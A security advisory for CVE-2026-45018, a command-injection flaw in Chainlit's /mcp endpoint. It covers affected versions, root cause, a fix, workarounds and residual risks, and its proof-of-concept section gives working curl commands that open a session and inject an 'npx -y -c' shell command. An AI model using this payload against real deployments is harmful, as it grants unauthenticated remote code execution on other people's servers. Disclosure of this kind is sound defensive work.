CVE-2026-45018

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for stdio transport accepts a user-controlled fullCommand string. The validatemcpcommand() function checks the executable name against a configurable allowlist but does not inspect or restrict the arguments. An attacker can pass npx -y -c 'ARBITRARY COMMAND' to execute arbitrary shell commands on the server with the privileges of the Chainlit process.

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Affected / patched versions

| | |

|---|---|

| CVE | CVE-2026-45018 |

| Affected | >=2.4.0rc0, <2.12.0 with features.mcp.enabled = true (introduced in PR #1977, the change that added MCP support) |

| Patched | 2.12.0 (releasing 2026-08-25) |

Details

validatemcpcommand() in backend/chainlit/mcp.py uses shlex.split() to parse the command string and validates only the executable name (e.g., npx, uvx) against config.features.mcp.stdio.allowed_executables. Arguments are returned unchecked and passed directly to StdioServerParameters, which spawns a subprocess.

Since npx supports -c for arbitrary shell execution, npx -y -c 'PAYLOAD' passes the allowlist check while running whatever the attacker specifies. This gives an attacker who can reach the endpoint full control over the host.

There is a related issue in the Pydantic model: allowed_executables defaults to None, and the validation code treats None as "allow everything." If a developer removes the allowed_executables line from their config, any executable can be invoked.

The /mcp route is registered unconditionally on the FastAPI router in every Chainlit deployment; only the runtime features.mcp.enabled check and (where configured) the authentication check on /mcp prevent exploitation.

Vulnerable code: backend/chainlit/mcp.py — validatemcpcommand()

Sink: backend/chainlit/server.py — StdioServerParameters

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and default settings.

1. Establish a Socket.IO session to get a valid sessionId:

EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \
  | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")
curl -s -X POST \
  "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \
  -d '40{"sessionId":"rce-proof","userEnv":"{}","clientType":"webapp"}'

1. Send the command injection payload:

curl -s -X POST 'http://TARGET:8000/mcp' \
  -H 'Content-Type: application/json' \
  -d '{
    "sessionId": "rce-proof",
    "clientType": "stdio",
    "name": "poc",
    "fullCommand": "npx -y -c '\''id > /tmp/rce_proof'\''"
  }'

The server runs the command before the MCP handshake fails. The output of id is written to /tmp/rce_proof.

Impact

Critical. An unauthenticated remote attacker can execute arbitrary OS commands on the server with the privileges of the Chainlit process. This can lead to full host compromise, data exfiltration, lateral movement, and installation of persistent backdoors. Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 removes fullCommand from the client request entirely. stdio MCP servers are now declared by the developer in .chainlit/config.toml under [[features.mcp.servers]] and selected by name at connection time; the command string never crosses the trust boundary from client to server, so there is no command left to sanitize and no allowed_executables mechanism anymore. Per-server environment variables are configured via an env mapping on the server entry rather than supplied by the client.

Workarounds

If you cannot upgrade immediately:

• Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion SSRF issue, CVE-2026-45019).
• Restrict outbound process-spawning / network capability from the host running Chainlit.
• Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not fix the underlying command injection, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowed_executables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

• On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because getcurrentuser returns None when no auth callback is registered. An anonymous client can therefore still cause developer-configured stdio servers to be spawned by name. Because the command itself is developer-controlled rather than attacker-supplied, this is no longer remote code execution — but it is still unauthenticated process spawning on deployments without authentication.
• No resource limits are placed on stdio server spawning, and there is no cap on concurrent MCP sessions per client.

Credits

Vipin vipin@spl.team

SPL security@spl.team